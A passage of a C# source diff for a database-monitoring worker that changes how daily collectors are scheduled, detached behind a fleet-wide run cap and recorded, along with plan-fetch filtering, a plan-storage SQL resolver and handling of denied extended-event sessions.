-                /* #4732: a due time more than one interval ahead can only be a wall clock that stepped backwards after
-                   the time was stamped; left alone it pauses this collector for as long as the step. Treated as due
-                   now. (RecomputeNextDueAsync, on a schedule reload, does the milder thing: it caps a stored due time
-                   at now plus the interval, so that stamp waits one interval instead of running at once.) */
-                due = CollectorCadence.ClampDue(due, now, intervalSpan);
-                if (now < due)
+                /* #4938: a collector that has a run time is scheduled on its slot, not on the interval grid below. The
+                   slot is the run time on this server's clock plus the server's spread, one a day (RunTimeSlots holds what
+                   the stamp was computed from). The pass hands the run off from the slot until an hour after it and never
+                   later: a day it could not hand off is skipped, not replayed, like any missed slot (#4636). A run handed
+                   off is detached below with every other daily collector, so it waits for the fleet cap and is never
+                   dropped for waiting. The clock is read from memory (ServerLoopState.Clock); a clock that has changed
+                   since the stamp was computed, such as a server's own zone arriving after its first
+                   server_properties row, computes the slot again from the last run held beside the stamp. */
+                RunTimeHandOff? handOff = null;
+                if (effective.RunAtMinute is int runAtMinute)
                 {
-                    continue;
+                    var clock = server.Clock;
+                    var rule = new RunTimeRule(runAtMinute, runtime.ServerId, clock.ToUtc);
+                    var jitter = SeedJitter(runtime.ServerId, interval * 60);
+                    /* #5033: the slot is read, seeded or re-seeded and stepped under the server's schedule lock, so a
+                       reload's recompute or a run's record never lands between the read and the write. The lock covers only
+                       these in-memory steps; the log lines and the gate-stat count follow it. */
+                    RunTimeSlot slot = null!;
+                    RunTimeStep step = default;
+                    var stampGone = false;
+                    var floor = _skipCreditFloor.Floor;
+                    lock (server.ScheduleLock)
+                    {
+                        if (!server.NextDue.TryGetValue(name, out due))
+                        {
+                            stampGone = true;
+                        }
+                        else
+                        {
+                            if (!server.RunTimeSlots.TryGetValue(name, out slot!))
+                            {
+                                slot = new RunTimeSlot(runAtMinute, interval, clock.Id, null);
+                                server.RunTimeSlots[name] = slot;
+                            }
+                            else if (!string.Equals(slot.ClockId, clock.Id, StringComparison.Ordinal))
+                            {
+                                due = ComputeSeededNextDue(slot.LastRunUtc, interval, now, jitter, rule);
+                                server.NextDue[name] = due;
+                                slot = slot with { ClockId = clock.Id };
+                                server.RunTimeSlots[name] = slot;
+                            }
+
+                            step = StepRunTimeCollector(due, now, floor, interval, rule, jitter);
+                            if (step.Action == RunTimeAction.SkipDay)
+                            {
+                                server.NextDue[name] = step.NextDue;
+                            }
+                        }
+                    }
+
+                    if (stampGone || step.Action == RunTimeAction.NotDue)
+                    {
+                        continue;
+                    }
+
+                    if (step.Action == RunTimeAction.SkipDay)
+                    {
+                        _fleetGateStats?.RecordSkippedSlots(step.Skipped);
+                        _logger.LogInformation(
+                            "  [{Server}] {Collector} skipped today's run: the pass could not hand it off within {Grace} minutes of its run time, so it waits for its next run time, {Next:u} (#4938)",
+                            server.Config.DisplayName, name, CollectorRunTime.GraceMinutes, step.NextDue);
+                        continue;
+                    }
+
+                    /* Yesterday's run still holds the (server, collector) slot, going or queued for a permit: today's run
+                       would be refused at once, so it is not handed off, and the slot stays unserved with its stamp where it
+                       is. The next tick asks again inside the grace. */
+                    if (_detachedCollectorGates.TryGetValue((runtime.ServerId, name), out var heldGate) && heldGate.IsHeld)
+                    {
+                        _logger.LogDebug(
+                            "  [{Server}] {Collector} not handed off this tick: its previous daily run still holds its slot (#4938)",
+                            server.Config.DisplayName, name);
+                        continue;
+                    }
+
+                    /* Today's slot is served only when today's run takes its (server, collector) slot, so the stamp, the
+                       slot's last run and the count of a run wait for it (RunOneAsync records them through this). When
+                       yesterday's run still holds the slot, nothing is recorded and the stamp stays where it is: the next
+                       tick hands the run off again inside the grace, and past the grace it counts as one skipped slot. */
+                    handOff = new RunTimeHandOff(slot, step.NextDue);
                 }
+                else
+                {
+                    /* #4732: a due time more than one interval ahead can only be a wall clock that stepped backwards after
+                       the time was stamped; left alone it pauses this collector for as long as the step. Treated as due
+                       now. (RecomputeNextDueAsync, on a schedule reload, does the milder thing: it caps a stored due time
+                       at now plus the interval, so that stamp waits one interval instead of running at once.) */
+                    due = CollectorCadence.ClampDue(due, now, intervalSpan);
+                    if (now < due)
+                    {
+                        continue;
+                    }
 
-                /* #4636: advance on a fixed grid from the previous due time, not from this body's start, so a
-                   late start is not carried into the next slot; a slot missed in a stall is skipped, not replayed.
-                   #4732: and the skipped slots are counted, next to the slot that ran, so a fleet that cannot keep
-                   its cadence shows up as a share of skipped slots instead of one Info line per collector. Only the
-                   slots that came due while the sweep loop was running count (SkipCreditFloor): a host that slept, a
-                   clock that stepped forward or a pause leaves this stamp hours old, and none of those slots was
-                   skipped by a gate that was too narrow. A body that starts late because the gate was full, while the
-                   loop keeps ticking, still counts them all. */
-                _fleetGateStats?.RecordSlot(_skipCreditFloor.Skipped(due, now, intervalSpan));
-                server.NextDue[name] = CollectorCadence.NextDue(due, now, intervalSpan);
+                    /* #4636: advance on a fixed grid from the previous due time, not from this body's start, so a
+                       late start is not carried into the next slot; a slot missed in a stall is skipped, not replayed.
+                       #4732: and the skipped slots are counted, next to the slot that ran, so a fleet that cannot keep
+                       its cadence shows up as a share of skipped slots instead of one Info line per collector. Only the
+                       slots that came due while the sweep loop was running count (SkipCreditFloor): a host that slept, a
+                       clock that stepped forward or a pause leaves this stamp hours old, and none of those slots was
+                       skipped by a gate that was too narrow. A body that starts late because the gate was full, while the
+                       loop keeps ticking, still counts them all. */
+                    var seeded = new DateTime(SkipCreditFloor.ClampSeedStamp(ref server.SeedFinishedTicks, now), DateTimeKind.Utc);
+                    _fleetGateStats?.RecordSlot(_skipCreditFloor.Skipped(due, now, intervalSpan, seeded));
+                    server.NextDue[name] = CollectorCadence.NextDue(due, now, intervalSpan);
+                }
 
                 /* #2700: query_store is split off this sequential body rather than awaited inline. Its
                    run time is bimodal — a heavy batch runs 100-230+ seconds against a ~5-35s mean, on its
@@ -10671,13 +13176,36 @@ sys.dm_db_tuning_recommendations is re-read whole on every successful pass regar
                 var peerMaxAtDispatchMs = PeerMaxOrNull(server);
                 /* #3604: pg_wait_sampling is the third, and the reason is different in kind — see
                    IsPgWaitSamplingCollector: a deliberate 30 s sampling window, not a bimodal tail. */
-                if (IsQueryStoreCollector(name) || IsPlanCorrectionCollector(name) || IsPgWaitSamplingCollector(name))
+                /* #4999: ONE test decides whether a collector leaves this pass, RunsDetached: the three above by
+                   name and every daily collector by cadence. get_collection_health asks the same test to leave
+                   those collectors out of its sweep-body roll-up, so the dispatch and the reading cannot
+                   disagree about what runs in the body. */
+                if (!RunsDetached(name, interval))
                 {
-                    _ = RunDetachedAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken);
+                    await RunOneAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken, runTimeHandOff: handOff);
                 }
+                else if (IsDetachedByName(name))
+                {
+                    /* #4999: tracked like the daily runs below, so the shutdown drain waits for a run that is still
+                       going. Dropped on the floor, as these three used to be, nothing held them once the pass that
+                       dispatched them ended. */
+                    TrackDetachedRun(RunDetachedAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken, runTimeHandOff: handOff));
+                }
+                /* #4938: and every DAILY collector, by cadence rather than by name. index_object_stats took 43
+                   minutes across 72 databases in a field case, and awaited here that stalled the server's
+                   1-minute collectors for the whole run: the earlier "amortised to nil" reading counted how often
+                   it runs, not how long the body waits when it does. The three above stay on their own rules
+                   (the by-name arm is asked first, so a daily override on one of them changes nothing). A daily
+                   run goes through the same per-(server, collector) single-flight slot, taken in RunOneAsync, and
+                   a fleet-wide cap on how many run at once; a run over the cap waits and is never dropped.
+                   The pass gives its fleet permit back at once, as for the detached runs above. The interval is
+                   the EFFECTIVE one resolved above, where an on-load collector's 0 is already its daily
+                   recapture. Only this scheduled dispatch detaches: the at-connect run of an on-load collector
+                   stays inline in TryConnectAsync, because it is a short config snapshot the first sweep and
+                   the analysis read right after connecting, and it runs once per connect, outside any pass. */
                 else
                 {
-                    await RunOneAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken);
+                    TrackDetachedRun(RunDetachedAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken, detachedDaily: true, runTimeHandOff: handOff));
                 }
             }
         }
@@ -10694,7 +13222,7 @@ sys.dm_db_tuning_recommendations is re-read whole on every successful pass regar
     /// <see cref="ServerLoopState.CollectionGate"/> so the two never double-collect. Waits its turn for the
     /// gate (unlike the main loop, which skips) because an explicit operator snapshot should not be dropped.
     /// </summary>
-    private async Task<CommandOutcome> RunSnapshotAsync(
+    internal async Task<CommandOutcome> RunSnapshotAsync(
         List<ServerLoopState> servers, DarlingCollectorRunner runner, int serverId, CancellationToken cancellationToken)
     {
         ServerLoopState? server;
@@ -10728,6 +13256,7 @@ private async Task<CommandOutcome> RunSnapshotAsync(
 
             var collectorsRun = 0;
             var totalRows = 0;
+            var skippedDaily = new List<string>();
             foreach (var name in CollectorScheduleDefaults.All.Keys)
             {
                 cancellationToken.ThrowIfCancellationRequested();
@@ -10753,8 +13282,29 @@ an operator-triggered snapshot against an RDS target would otherwise land its ow
                     continue;
                 }
 
+                /* #4999: a daily collector's scheduled run is detached and holds its (server, collector) slot until it
+                   ends, which can be hours (it may still be waiting for one of the fleet's permits). An operator
+                   snapshot of the same collector would run it a second time beside that run, so the snapshot takes
+                   the same slot: held means the scheduled run is still going, and the snapshot leaves that
+                   collector out and says so. Free means the snapshot runs it inline, as before, holds the slot for
+                   that run only, and gives it back after, so a snapshot that is over never makes the next scheduled
+                   run skip. The three collectors detached by name take their own slot inside RunOneAsync. */
+                var snapshotSlot = TryTakeInlineDailySlot(runtime.ServerId, name, effective);
+                if (snapshotSlot is null)
+                {
+                    skippedDaily.Add(name);
+                    _logger.LogInformation(
+                        "  [{Server}] snapshot_now skipped {Collector}: its scheduled daily run is still going (#4999)",
+                        server.Config.DisplayName, name);
+                    continue;
+                }
+
                 /* null for the same reason as the on-load loop: an operator snapshot is not a body. */
-                totalRows += await RunOneAsync(server, runner, name, peerMaxAtDispatchMs: null, cancellationToken);
+                using (snapshotSlot)
+                {
+                    totalRows += await RunOneAsync(server, runner, name, peerMaxAtDispatchMs: null, cancellationToken);
+                }
+
                 collectorsRun++;
             }
 
@@ -10766,8 +13316,19 @@ an operator-triggered snapshot against an RDS target would otherwise land its ow
                 server = server.Config.DisplayName,
                 collectorsRun,
                 rows = totalRows,
+                /* #4999: the collectors the snapshot left out because their scheduled daily run is still going. */
+                skipped = skippedDaily.Select(collector => new
+                {
+                    collector,
+                    reason = "its scheduled daily run is still going",
+                }).ToList(),
             });
-            return new CommandOutcome(true, "snapshot complete", json);
+            return new CommandOutcome(
+                true,
+                skippedDaily.Count == 0
+                    ? "snapshot complete"
+                    : $"snapshot complete; {skippedDaily.Count} collector(s) skipped because their scheduled daily run is still going",
+                json);
         }
         finally
         {
@@ -10836,8 +13397,24 @@ from a failure. planXml is null so the viewer's parse hits the not-in-cache bran
         }
 
         _logger.LogInformation("[{Server}] fetch_plan returned a {Length}-char plan", displayName, planXml.Length);
-        return new CommandOutcome(true, "plan fetched",
-            JsonSerializer.Serialize(new { success = true, planXml }));
+        return PlanResultOutcome("plan fetched", planXml);
+    }
+
+    /// <summary>
+    /// #5320 (the Darling twin of Lite's <c>LivePlanDisplay.Filter</c>): the one place the <c>fetch_plan</c> and
+    /// <c>execute_actual_plan</c> handlers turn a plan read live from the monitored server into the command's
+    /// <c>result_json</c>. The plan is judged whole by the statement filter BEFORE it is serialized, so the stored
+    /// result never holds the raw text (the viewer deletes the row after it reads it, but a row it never reads stays
+    /// until the terminal-command purge). The same instance comes back when nothing is named; the whole-plan
+    /// marker comes back when the plan cannot be judged, and the viewer shows that as withheld. Nothing cuts the
+    /// plan here, so there is no second judge after a cut.
+    /// </summary>
+    internal static CommandOutcome PlanResultOutcome(string resultStatus, string planXml)
+    {
+        /* A block body, not an expression body: the statement-column census reads method bodies, and it only sees a
+           block (#5367 review round 2, N1). */
+        return new(true, resultStatus,
+            JsonSerializer.Serialize(new { success = true, planXml = SensitiveStatements.Xml(planXml) }));
     }
 
     /// <summary>The SQL command timeout (seconds) for the live active-queries DMV read. A "what is running now"
@@ -11064,9 +13641,9 @@ IS NOT NULL filter can test the RESOLVED text rather than the raw column. Testin
        is the trap — it would exclude every post-cutover row, the whole set this change exists to serve. */
     public const string ResolveStoredQueryStoreForActualPlanSql = @"
 SELECT r.query_text,
-       r.query_plan_text,
+       CASE WHEN m.plan_id IS NULL THEN r.query_plan_text ELSE d.query_plan_xml END AS query_plan_text,
        NULL::text AS transaction_isolation_level,
-       NULL::bytea AS query_plan_gz
+       d.query_plan_gz
 FROM
 (
     SELECT
@@ -11082,26 +13659,42 @@ FROM query_store_text AS x
             s.query_text
         ) AS query_text,
         s.query_plan_text,
+        s.plan_id,
         s.collection_time
     FROM query_store_stats AS s
     WHERE s.server_id = $1
     AND   s.database_name = $2
     AND   s.query_id = $3
 ) AS r
+/* #5257: since #2210 the plan lives once in query_plan_dim, reached through collect.query_store_plan_map on
+   its primary key (server_id, database_name, plan_id) — the fact row's own column is a NULL placeholder. The
+   inline column answers ONLY for a plan_id the map has no row for (a pre-cutover plan): a map row with no
+   content behind it (a NULL-digest marker, or a digest whose dimension row is gone) is an absent plan, and
+   the inline column is not asked for it. */
+LEFT JOIN collect.query_store_plan_map AS m
+  ON  m.server_id = $1
+  AND m.database_name = $2
+  AND m.plan_id = r.plan_id
+LEFT JOIN query_plan_dim AS d
+  ON  d.digest = m.digest
+  AND (d.query_plan_xml IS NOT NULL OR d.query_plan_gz IS NOT NULL)
 WHERE r.query_text IS NOT NULL
-ORDER BY (r.query_plan_text IS NOT NULL) DESC, r.collection_time DESC
+ORDER BY ((m.plan_id IS NULL AND r.query_plan_text IS NOT NULL) OR d.digest IS NOT NULL) DESC, r.collection_time DESC
 LIMIT 1";
 
     /// <summary>The <c>query_snapshots</c> resolver — the Wait drill-down surface's identifier (server_id +
     /// collection_time + session_id) to that captured request's query text, plan (live preferred), and isolation
-    /// level. $1 server_id, $2 collection_time, $3 session_id. The exact-timestamp match keys the one snapshot
-    /// the row represents.</summary>
+    /// level. $1 server_id, $2 collection_time, $3 session_id, $4 database_name. The exact-timestamp match keys the
+    /// one snapshot the row represents, and the row must also be in the database the request names (the other two
+    /// resolvers match the database the same way; a row stored with no database matches a request with none), so
+    /// the text that is re-executed is the text of the named database's session.</summary>
     public const string ResolveStoredSnapshotForActualPlanSql = @"
 SELECT query_text, COALESCE(live_query_plan, query_plan), transaction_isolation_level, NULL::bytea AS query_plan_gz
 FROM query_snapshots
 WHERE server_id = $1
 AND   collection_time = $2
 AND   session_id = $3
+AND   database_name IS NOT DISTINCT FROM $4
 AND   query_text IS NOT NULL
 ORDER BY collection_time DESC
 LIMIT 1";
@@ -11216,8 +13809,7 @@ immutable connection string + Azure flag as locals — never hold the runtime ac
             }
 
             _logger.LogInformation("[{Server}] execute_actual_plan captured a {Length}-char actual plan", displayName, planXml.Length);
-            return new CommandOutcome(true, "actual plan captured",
-                JsonSerializer.Serialize(new { success = true, planXml }));
+            return PlanResultOutcome("actual plan captured", planXml);
         }
         catch (OperationCanceledException)
         {
@@ -11256,9 +13848,9 @@ immutable connection string + Azure flag as locals — never hold the runtime ac
     };
 
     /// <summary>Binds the store-resolution parameters ($1 server_id, then the identifier's $2/$3) for the request's
-    /// identifier kind. The snapshot's collection_time binds as a naive-UTC timestamp (Unspecified), matching how
-    /// the collector stores it.</summary>
-    private static void BindActualPlanResolveParameters(NpgsqlCommand command, int serverId, ActualPlanRequest request)
+    /// identifier kind (a snapshot also binds $4, the database name). The snapshot's collection_time binds as a
+    /// naive-UTC timestamp (Unspecified), matching how the collector stores it.</summary>
+    internal static void BindActualPlanResolveParameters(NpgsqlCommand command, int serverId, ActualPlanRequest request)
     {
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
         switch (request.Source)
@@ -11277,6 +13869,12 @@ private static void BindActualPlanResolveParameters(NpgsqlCommand command, int s
                     TypedValue = DateTime.SpecifyKind(request.SnapshotCollectionTime!.Value, DateTimeKind.Unspecified),
                 });
                 command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = request.SnapshotSessionId!.Value });
+                // $4 is nullable text: a stored row with no database matches a request with none (IS NOT DISTINCT FROM).
+                command.Parameters.Add(new NpgsqlParameter
+                {
+                    NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text,
+                    Value = request.DatabaseName is null ? DBNull.Value : request.DatabaseName,
+                });
                 break;
             default:
                 throw new InvalidOperationException($"no store resolver for actual-plan source {request.Source}");
@@ -11926,6 +14524,64 @@ private static bool IsPermissionError(SqlException ex)
     private static int? PeerMaxOrNull(ServerLoopState server) =>
         server.SweepPeerMaxMs >= 0 ? server.SweepPeerMaxMs : null;
 
+    /// <summary>
+    /// Records a run that took its slot: the stamp moves to the next slot and the slot's last run is now (#5033).
+    /// Done under the server's schedule lock against the slot as it is now: a reload that changed the run time after
+    /// the hand-off was built keeps its new run time, and gets the next slot computed from it; a reload that cleared
+    /// the run time leaves no slot behind, only a stamp one interval out; a reload that disabled the collector leaves
+    /// nothing at all.
+    /// </summary>
+    internal void RecordRunTimeHandOff(ServerLoopState server, int serverId, string name, RunTimeHandOff handOff)
+    {
+        var now = DateTime.UtcNow;
+        lock (server.ScheduleLock)
+        {
+            if (!server.RunTimeSlots.TryGetValue(name, out var current))
+            {
+                /* No slot: a reload cleared the run time (or disabled the collector). When one edit clears the run time
+                   and also changes the frequency, this branch stamps the hand-off's old interval for one cycle. That
+                   cannot cause a second run: the reload has no handle on the in-flight hand-off, and the next reload
+                   caps the stamp to the new interval. */
+                if (server.NextDue.ContainsKey(name))
+                {
+                    var interval = handOff.Slot.IntervalMinutes;
+                    server.NextDue[name] = ComputeSeededNextDue(now, interval, now, SeedJitter(serverId, interval * 60));
+                }
+
+                return;
+            }
+
+            if (current.RunAtMinute == handOff.Slot.RunAtMinute
+                && current.IntervalMinutes == handOff.Slot.IntervalMinutes
+                && string.Equals(current.ClockId, handOff.Slot.ClockId, StringComparison.Ordinal))
+            {
+                server.NextDue[name] = handOff.NextDue;
+                server.RunTimeSlots[name] = handOff.Slot with { LastRunUtc = now };
+                return;
+            }
+
+            server.RunTimeSlots[name] = current with { LastRunUtc = now };
+            server.NextDue[name] = ComputeSeededNextDue(
+                now, current.IntervalMinutes, now, SeedJitter(serverId, current.IntervalMinutes * 60),
+                new RunTimeRule(current.RunAtMinute, serverId, server.Clock.ToUtc));
+        }
+    }
+
+    /// <summary>The later of two optional last-run times; null only when both are.</summary>
+    internal static DateTime? Newer(DateTime? a, DateTime? b) => a is null ? b : b is null ? a : (a > b ? a : b);
+
+    /// <summary>The run-time slot held for a collector, read under the server's schedule lock (#5033).</summary>
+    private static RunTimeSlot? ReadRunTimeSlot(ServerLoopState server, string name)
+    {
+        lock (server.ScheduleLock)
+        {
+            server.RunTimeSlots.TryGetValue(name, out var slot);
+            return slot;
+        }
+    }
+
+
+
     /// <summary>
     /// Runs one collector for a server and logs its outcome to collection_log. Returns the rows written
     /// (0 on skip/permissions/error) so an on-demand snapshot can tally them; the scheduled/on-load callers
@@ -11939,7 +14595,21 @@ private static bool IsPermissionError(SqlException ex)
     /// times over, so a value read at completion describes some unrelated later tick. Those two are among
     /// the heavies this diagnostic exists to explain, so reading it late is wrong exactly where it matters.
     /// </param>
-    private async Task<int> RunOneAsync(ServerLoopState server, DarlingCollectorRunner runner, string collectorName, int? peerMaxAtDispatchMs, CancellationToken cancellationToken)
+    /// <param name="detachedDaily">
+    /// #4938: true for a daily collector's scheduled run, which RunDueCollectorsAsync detaches. Such a run takes
+    /// the same per-(server, collector) single-flight slot as plan_correction, then one of the fleet's daily-run
+    /// permits, and does not fold its duration into the sweep body's peer mark (see <see cref="FoldsIntoSweepPeerMark"/>).
+    /// False for every other caller, including the at-connect run of an on-load collector and snapshot_now.
+    /// </param>
+    /// <param name="runTimeHandOff">
+    /// #4938: set by the pass for a collector that has a run time. Once the run holds its slot, today's slot counts as served:
+    /// the stamp moves to the next slot, the slot's last run is now, and the fleet's gate stats count one run. A run that
+    /// finds the slot held records none of it, so the slot stays due and the next tick tries again.
+    /// </param>
+    /// <param name="runOutcome">#4938: when given, set to whether this run succeeded.</param>
+    private async Task<int> RunOneAsync(
+        ServerLoopState server, DarlingCollectorRunner runner, string collectorName, int? peerMaxAtDispatchMs, CancellationToken cancellationToken,
+        bool detachedDaily = false, RunTimeHandOff? runTimeHandOff = null, RunOutcome? runOutcome = null)
     {
         var runtime = server.Runtime;
         if (runtime is null || !s_dispatch.TryGetValue(collectorName, out var run))
@@ -11978,12 +14648,24 @@ collector on THIS server has not finished — skip is safe because every collect
            NotGated (mirroring QueryStoreServerGate's) collapses this to a single null check below — a
            future third collector needs only its own IsXCollector check added to this one condition,
            never a second one to keep in sync. */
-        using var detachedGate = IsPlanCorrectionCollector(collectorName) || IsPgWaitSamplingCollector(collectorName)
+        using var detachedGate = IsPlanCorrectionCollector(collectorName) || IsPgWaitSamplingCollector(collectorName) || detachedDaily
             ? _detachedCollectorGates.GetOrAdd((runtime.ServerId, collectorName), static _ => new DetachedCollectorGate()).TryAcquire()
             : DetachedCollectorGate.NotGated;
 
         if (detachedGate is null)
         {
+            if (detachedDaily)
+            {
+                /* #4938: a daily run's skip costs a whole day for that collector on that server, not one tick, so
+                   it says so rather than "re-reads next tick". It only happens when the previous run, which may
+                   still be waiting for a permit, has not finished by the time this one comes due. */
+                _logger.LogInformation(
+                    "  [{Server}] {Collector} skipped this run — its previous daily run has not finished (#4938). " +
+                    "It runs again at its next daily interval.",
+                    server.Config.DisplayName, collectorName);
+                return 0;
+            }
+
             _logger.LogInformation(
                 "  [{Server}] {Collector} skipped this tick — a previous detached run has not finished (#2717). " +
                 "Re-reads the live set next tick; no rows are lost.",
@@ -11991,6 +14673,55 @@ never a second one to keep in sync. */
             return 0;
         }
 
+        if (runTimeHandOff is not null)
+        {
+            _fleetGateStats?.RecordSlot(0);
+            RecordRunTimeHandOff(server, runtime.ServerId, collectorName, runTimeHandOff);
+        }
+
+        /* #4938: a daily run waits here for one of the fleet's permits, holding its single-flight slot while it
+           waits, so a run that has not yet started still counts as unfinished. The permit is held to the end of
+           the run, through the store writes. The wait can last hours behind other daily runs, so what the run
+           works on is read again after it: a server removed or reconnected in the meantime must not be run
+           against the connection it had when this run was dispatched. #4999: and everything the dispatch checked
+           is checked again (ReReadAfterPermitWait): a pause, a collector turned off, a target it no longer
+           applies to. */
+        using var dailyPermit = detachedDaily ? await AcquireDailyRunPermitAsync(server, collectorName, cancellationToken) : null;
+        if (detachedDaily)
+        {
+            if (ReReadAfterPermitWait(server, collectorName) is not { } currentRuntime)
+            {
+                return 0;
+            }
+
+            runtime = currentRuntime;
+        }
+
+        /* #4999: from here a detached run is executing, so the hang watchdog watches it (WatchDailyRuns), until it
+           ends: the watch is disposed with this scope. A daily run is watched from the moment it holds its permit
+           and has re-read its runtime, and starts after the wait for a permit on purpose, because a run that is
+           queued behind the cap is capacity pressure and is not stuck. A run detached by name (query_store,
+           plan_correction, pg_wait_sampling) takes no permit, so its watch starts as it starts executing, here, past
+           the single-flight gates above. Both are RanDetached; an inline run (the at-connect run of an on-load
+           collector, a collector run by snapshot_now) is not watched, unless it is one of the three by name. The
+           gates are what keep the watch's (server, collector) key to one run: a second run of the collector is
+           skipped above, before it is watched, and this watch ends before those gates are released. It sits before
+           the test seam below so a run a test holds open is watched the way a real one is. */
+        using var dailyRunWatch = RanDetached(collectorName, detachedDaily)
+            ? BeginDailyRunWatch(server.Config.DisplayName, runtime.ServerId, collectorName, holdsPermit: detachedDaily)
+            : null;
+
+        if (RunOneBodyOverride is { } bodyOverride)
+        {
+            var overrideRows = await bodyOverride(server, runtime, collectorName, cancellationToken);
+            if (runOutcome is not null)
+            {
+                runOutcome.Succeeded = overrideRows >= 0;
+            }
+
+            return Math.Max(overrideRows, 0);
+        }
+
         /* #2997: wall clock for the whole run, read ONLY by the fault arms below. The success path
            keeps reporting the runner's own measured sql/storage split and never consults this — a
            wall clock that included dispatch overhead would quietly widen three published numbers
@@ -12026,11 +14757,21 @@ found no session and returned zero rows - which is also what a quiet session ret
                are the ones an operator already knows from the deadlock and blocked-process collectors. */
             if (IsLongQueryCompletionsCollector(collectorName) && server.LongQueryTraceFault is { } traceFault)
             {
+                /* #5378: a denied create is a permission state, not a capture that broke: PERMISSIONS, as in Lite. */
+                if (server.LongQueryTraceFaultIsPermission)
+                {
+                    throw new DarlingXeSessionDeniedException(traceFault);
+                }
+
                 throw new DarlingXeSessionMissingException(traceFault);
             }
 
             var result = await run(runner, runtime, cancellationToken);
 
+            /* #4964: a run of this collector succeeded, so its run of missing-session failures is over: the next failure
+               logs its line at Warning again (XeSessionMissingWarnings). */
+            server.XeSessionMissingWarnings.Clear(collectorName);
+
             /* #3754, the partial case: the Azure reconcile created the session in some databases and was
                refused in others. The run just read the survivors and its SUCCESS is a real success - but
                its row has to say that the refused databases are not in it, or a zero here reads as a quiet
@@ -12123,6 +14864,16 @@ collector that is. */
                 }
             }
 
+            /* #4961: the instance's identity moved (a restart, or a failover to another instance). A restart stops the
+               long-query trace's session, which is created stopped at startup, so the latch is cleared and the next
+               sweep's reconcile starts it again. Without this the gap lasts until the hourly create pass. */
+            if (ForgetLongQueryTraceLatchOnRestart(server, result.Measurements))
+            {
+                _logger.LogInformation(
+                    "[{Server}] The instance's identity moved (a restart or a failover): the long-query trace is checked again on the next sweep",
+                    server.Config.DisplayName);
+            }
+
             /* #2851: the server-scoped phase split rides its OWN line, for the same reason #2811's fetch
                sub-splits do — the line above is parsed by tooling outside this repo, and "don't break the
                parser" outranks "one line to grep". Gated on the MEASURED flag rather than on a value being
@@ -12174,16 +14925,28 @@ collectors ran 34-47x their baseline BEFORE the heavy ones burned their budget.
                Budgeted collectors are excluded because they are the heavy ones being explained - a
                mark that included procedure_stats would be dominated by exactly the run in question.
                Asked of the catalog rather than a name list here: the list would be right until a fifth
-               collector earned a budget and silently wrong after. */
-            if (!CollectorCatalog.HasWallClockBudget(collectorName))
-            {
-                server.SweepPeerMaxMs = (int)Math.Min(int.MaxValue, Math.Max(server.SweepPeerMaxMs, result.SqlMs));
-            }
+               collector earned a budget and silently wrong after.
+
+               #4999: and a run that ran DETACHED is excluded whatever its budget. It finishes after the body
+               that dispatched it, so its duration would land in an unrelated body's mark; the budget rule
+               alone left pg_wait_sampling's 30 s window folding in. */
+            FoldIntoSweepPeerMark(server, collectorName, detachedDaily, result.SqlMs);
 
             /* #2674: record this run's cost for the hourly collector_cost aggregate — the same numbers that
                go to collection_log, kept as a compact per-(server, collector) series for the cost panel. */
             _collectorCost.Record(runtime.ServerId, collectorName, result.Rows, result.SqlMs, result.StorageMs);
 
+            /* #4938: a run that has just written this server's clock to the store (server_properties on SQL Server,
+               pg_server_config on PostgreSQL) refreshes the clock the worker holds for it: the first row of a new server
+               replaces the UTC it started with, and a zone change replaces the old zone. The pass computes the slot of a
+               collector that has a run time again when the clock's identity differs from the one its stamp was computed
+               with. One read per run of these two collectors, none on a tick, and a failed read keeps the held clock. */
+            if (CarriesServerClock(collectorName, runtime.Target.Engine)
+                && await TryReadServerClockAsync(_postgres!, runtime.ServerId, runtime.Target.Engine, _logger, cancellationToken) is { } refreshedClock)
+            {
+                server.Clock = refreshedClock;
+            }
+
             /* #2219: statement TEXT rides alongside the statement stats, on its own hourly cadence. Hung off the
                stats collector's success rather than given its own loop because it is meaningless without those
                rows and must never run against a server whose stats collection is failing — one less loop that
@@ -12193,12 +14956,31 @@ rows and must never run against a server whose stats collection is failing — o
             {
                 await TryRefreshPgStatementTextAsync(runtime, cancellationToken);
             }
+            if (runOutcome is not null)
+            {
+                runOutcome.Succeeded = true;
+            }
+
             return result.Rows;
         }
         catch (OperationCanceledException)
         {
             throw;
         }
+        catch (DarlingXeSessionDeniedException ex)
+        {
+            /* #5378: the long-query session's create was denied (the login lacks ALTER ANY EVENT SESSION). A least-privilege
+               choice an operator is entitled to make (#1823), so PERMISSIONS, the status every other denied source records,
+               and not the SESSION_MISSING of a session that broke. The row is written on every sweep, so collection health
+               keeps reading it; the line logs at Warning once and at Debug after, like the missing-session line (#4964). */
+            _logger.Log(server.XeSessionMissingWarnings.TryMarkWarned(collectorName) ? LogLevel.Warning : LogLevel.Debug,
+                "  [{Server}] {Collector} => insufficient permissions: {Message}",
+                server.Config.DisplayName, collectorName, ex.Message);
+
+            await DarlingObservability.LogCollectionAsync(
+                _postgres!, runtime, collectorName, "PERMISSIONS", 0, runClock.ElapsedMilliseconds, 0, ex.Message, fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: peerMaxAtDispatchMs, _logger, cancellationToken);
+            return 0;
+        }
         catch (DarlingXeSessionMissingException ex)
         {
             /* The blocking/deadlock XE session is missing and couldn't be created — log a distinct
@@ -12213,14 +14995,54 @@ hits the permissions filter.
                #3754: the second producer is the pre-dispatch check at the top of the try, for
                long_query_completions alone - the reconcile recorded that its session could not be created
                anywhere this run would read, so the run is classified here without opening a connection.
-               Same type, same arm, same row shape; only the message's origin differs. */
-            _logger.LogWarning("  [{Server}] {Collector} => XE session missing (capture down): {Message}",
+               Same type, same arm, same row shape; only the message's origin differs.
+
+               #4964: this arm runs on every sweep for as long as the session cannot be ensured, and the row below is
+               written on every one of them, on purpose, so collection health keeps reading SESSION_MISSING. The log line is
+               what would repeat without end: the first failing run of a collector on this server logs it at Warning, and the
+               runs after it log the same line at Debug, until a run of that collector succeeds (the clear after its run
+               above). */
+            _logger.Log(server.XeSessionMissingWarnings.TryMarkWarned(collectorName) ? LogLevel.Warning : LogLevel.Debug,
+                "  [{Server}] {Collector} => XE session missing (capture down): {Message}",
                 server.Config.DisplayName, collectorName, ex.Message);
 
